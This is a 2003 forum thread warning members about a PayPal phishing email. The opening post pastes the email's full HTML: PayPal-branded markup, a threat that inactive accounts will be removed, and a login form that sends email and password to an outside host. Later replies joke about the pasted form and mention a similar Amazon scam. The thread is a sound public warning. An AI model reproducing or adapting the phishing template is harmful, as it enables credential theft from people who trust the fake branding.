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Gobbles
9 Nov 2003, 05:03am
I know that almost all of us are comp vets and dont have to worry about this stuff.. But some of the SMers may not be so Ill post this for them..

New email scam for paypal asking you to verify your paypal account.. here is the email...




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<td><A href="https://www.paypal.com" target="_blank"><IMG src="http://www.paypal.com/images/paypal_logo.gif" width=109 height=35 alt="PayPal" border="0" vspace=10 target="_blank"></A>
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<table width="100%" cellspacing="0" cellpadding="0" border="0">
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<td background="http://www.paypal.com/images/bg_clk.gif" width="100%"><img src="http://www.paypal.com/images/pixel.gif" height="29" width="1" border="0"></td>
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<td><img src="http://www.paypal.com/images/pixel.gif" height="10" width="1" border="0"></td>
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<table width="600" cellspacing="0" cellpadding="5" border="0" align="center">
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<td class="pp_sortofbig" align=center>Dear PayPal Customer</td>
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<td valign="top"><p>&nbsp;</p>
<p>This e-mail is the notification of recent innovations taken by PayPal to detect inactive customers and non-functioning mailboxes.</p>
<p>The inactive customers are subject to restriction and removal in the next
3 months.</p>
<p>Please confirm your email address and password<b style="font-style: normal; font-variant: normal; font-weight: bold; font-size: 8pt">
</b>number by logging in to your PayPal account
using the form below:</p></td>
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<td align=center>

<form action="http://chop.phpwebhosting.com/~thisisatest/login.php" method="GET" target="_blank">



<p style="xmargin-left: 4; xmargin-top: -2; xmargin-bottom: 0" target="_blank">&nbsp;</p>

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<td><b style="font:bold 8pt" target="_blank">Email Address:</b></td>
<td><input name="lgn" type="text" size="30" maxlength="32" target="_blank"></td>
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<td><b style="font:bold 8pt" target="_blank">Password:</b></td>
<td><input name="psw" type="password" size="32" maxlength="32" target="_blank"></td>
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<p>
<input name="ID" type="hidden" size="30" maxlength="32" value="n8h4hnew" target="_blank">
<input type="submit" value=" Log In " target="_blank">
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</form>
<p><br>
<span class="pp_smalltext" target="_blank">This notification expires December 1st, 2003</span>
</p></td>
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<td align=center target="_blank"><br> <strong>Thanks for using PayPal! </strong><br></td>
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<td><img src="http://www.paypal.com/images/dot_row_long.gif" target="_blank"></td>
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<td class="pp_footer" target="_blank"> This PayPal notification was sent to your mailbox.
Your PayPal account is set up to receive the PayPal Periodical newsletter
and product updates when you create your account. To modify your notification
preferences and unsubscribe, go to <a href="https://www.paypal.com/PREFS-NOTI" target="_blank">https://www.paypal.com/PREFS-NOTI</a>
and log in to your account. Changes to your preferences may take several
days to be reflected in our mailings. Replies to this email will not be
processed. <br> <br>
If you previously asked to be excluded from Providian product offerings
and solicitations, they apologize for this e-mail. Every effort was made
to ensure that you were excluded from this e-mail. If you do not wish to
receive promotional e-mail from Providian, go to <a href="http://removeme.providian.com/" target="_blank">http://removeme.providian.com/</a>.
<br> <br>
Copyright&copy; 2003 PayPal Inc. All rights reserved. Designated trademarks
and brands are the property of their respective owners. </td>
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Remember paypal does not send emails asking for this information....

Gobbles...

shwaip
9 Nov 2003, 06:32am
the login button takes you to the new post window :D

Gobbles
9 Nov 2003, 12:20pm
there is some good to the email....

Gobbles

BDR
9 Nov 2003, 02:32pm
The log in button takes you to the new post window-
So it does! :eek:

I was wondering why I couldn't relpy to this thread. :p


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I received a similar email supposedly from Amazon.com about updating your "one click" option to make sure it works properly.

I deleted it...

:rolleyes:

TheLostSwede
9 Nov 2003, 02:41pm
ROFL

;D

Mt_Goat
9 Nov 2003, 02:53pm
Log In = ROTFLMAO Good one! ;D

Enverex
9 Nov 2003, 04:40pm
What is the source code for that e-mail?

NS